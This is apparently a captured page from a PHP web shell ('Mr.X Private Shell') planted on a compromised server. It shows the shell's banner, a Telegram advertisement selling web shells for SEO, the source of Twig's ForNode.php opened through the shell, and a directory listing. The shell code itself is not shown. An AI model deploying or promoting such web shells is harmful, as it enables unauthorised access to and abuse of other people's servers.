__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig\Node; use Twig\Attribute\YieldReady; use Twig\Compiler; use Twig\Node\Expression\AbstractExpression; use Twig\Node\Expression\Variable\AssignContextVariable; /** * Represents a for node. * * @author Fabien Potencier <[email protected]> */ #[YieldReady] class ForNode extends Node { private $loop; public function __construct(AssignContextVariable $keyTarget, AssignContextVariable $valueTarget, AbstractExpression $seq, ?Node $ifexpr, Node $body, ?Node $else, int $lineno) { $body = new Nodes([$body, $this->loop = new ForLoopNode($lineno)]); if (null !== $ifexpr) { trigger_deprecation('twig/twig', '3.19', \sprintf('Passing not-null to the "ifexpr" argument of the "%s" constructor is deprecated.', static::class)); } if (null !== $else && !$else instanceof ForElseNode) { trigger_deprecation('twig/twig', '3.19', \sprintf('Not passing an instance of "%s" to the "else" argument of the "%s" constructor is deprecated.', ForElseNode::class, static::class)); $else = new ForElseNode($else, $else->getTemplateLine()); } $nodes = ['key_target' => $keyTarget, 'value_target' => $valueTarget, 'seq' => $seq, 'body' => $body]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, ['with_loop' => true], $lineno); } public function compile(Compiler $compiler): void { $compiler ->addDebugInfo($this) ->write("\$context['_parent'] = \$context;\n") ->write("\$context['_seq'] = CoreExtension::ensureTraversable(") ->subcompile($this->getNode('seq')) ->raw(");\n") ; if ($this->hasNode('else')) { $compiler->write("\$context['_iterated'] = false;\n"); } if ($this->getAttribute('with_loop')) { $compiler ->write("\$context['loop'] = [\n") ->write(" 'parent' => \$context['_parent'],\n") ->write(" 'index0' => 0,\n") ->write(" 'index' => 1,\n") ->write(" 'first' => true,\n") ->write("];\n") ->write("if (is_array(\$context['_seq']) || (is_object(\$context['_seq']) && \$context['_seq'] instanceof \Countable)) {\n") ->indent() ->write("\$length = count(\$context['_seq']);\n") ->write("\$context['loop']['revindex0'] = \$length - 1;\n") ->write("\$context['loop']['revindex'] = \$length;\n") ->write("\$context['loop']['length'] = \$length;\n") ->write("\$context['loop']['last'] = 1 === \$length;\n") ->outdent() ->write("}\n") ; } $this->loop->setAttribute('else', $this->hasNode('else')); $this->loop->setAttribute('with_loop', $this->getAttribute('with_loop')); $compiler ->write("foreach (\$context['_seq'] as ") ->subcompile($this->getNode('key_target')) ->raw(' => ') ->subcompile($this->getNode('value_target')) ->raw(") {\n") ->indent() ->subcompile($this->getNode('body')) ->outdent() ->write("}\n") ; if ($this->hasNode('else')) { $compiler->subcompile($this->getNode('else')); } $compiler->write("\$_parent = \$context['_parent'];\n"); // remove some "private" loop variables (needed for nested loops) $compiler->write('unset($context[\'_seq\'], $context[\''.$this->getNode('key_target')->getAttribute('name').'\'], $context[\''.$this->getNode('value_target')->getAttribute('name').'\'], $context[\'_parent\']'); if ($this->hasNode('else')) { $compiler->raw(', $context[\'_iterated\']'); } if ($this->getAttribute('with_loop')) { $compiler->raw(', $context[\'loop\']'); } $compiler->raw(");\n"); // keep the values set in the inner context for variables defined in the outer context $compiler->write("\$context = array_intersect_key(\$context, \$_parent) + \$_parent;\n"); } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Expression | Folder | 0755 |
|
|
| AutoEscapeNode.php | File | 866 B | 0644 |
|
| BlockNode.php | File | 1.21 KB | 0644 |
|
| BlockReferenceNode.php | File | 870 B | 0644 |
|
| BodyNode.php | File | 389 B | 0644 |
|
| CaptureNode.php | File | 1.48 KB | 0644 |
|
| CheckSecurityCallNode.php | File | 653 B | 0644 |
|
| CheckSecurityNode.php | File | 2.97 KB | 0644 |
|
| CheckToStringNode.php | File | 1.25 KB | 0644 |
|
| DeprecatedNode.php | File | 1.83 KB | 0644 |
|
| DoNode.php | File | 820 B | 0644 |
|
| EmbedNode.php | File | 1.62 KB | 0644 |
|
| EmptyNode.php | File | 648 B | 0644 |
|
| FlushNode.php | File | 772 B | 0644 |
|
| ForElseNode.php | File | 864 B | 0644 |
|
| ForLoopNode.php | File | 1.42 KB | 0644 |
|
| ForNode.php | File | 4.37 KB | 0644 |
|
| IfNode.php | File | 1.81 KB | 0644 |
|
| ImportNode.php | File | 1.94 KB | 0644 |
|
| IncludeNode.php | File | 3.28 KB | 0644 |
|
| MacroNode.php | File | 3.94 KB | 0644 |
|
| ModuleNode.php | File | 15.4 KB | 0644 |
|
| NameDeprecation.php | File | 916 B | 0644 |
|
| Node.php | File | 9.21 KB | 0644 |
|
| NodeCaptureInterface.php | File | 384 B | 0644 |
|
| NodeOutputInterface.php | File | 363 B | 0644 |
|
| Nodes.php | File | 526 B | 0644 |
|
| PrintNode.php | File | 1008 B | 0644 |
|
| SandboxNode.php | File | 1.28 KB | 0644 |
|
| SetNode.php | File | 3.91 KB | 0644 |
|
| TextNode.php | File | 834 B | 0644 |
|
| TypesNode.php | File | 569 B | 0644 |
|
| WithNode.php | File | 2.07 KB | 0644 |
|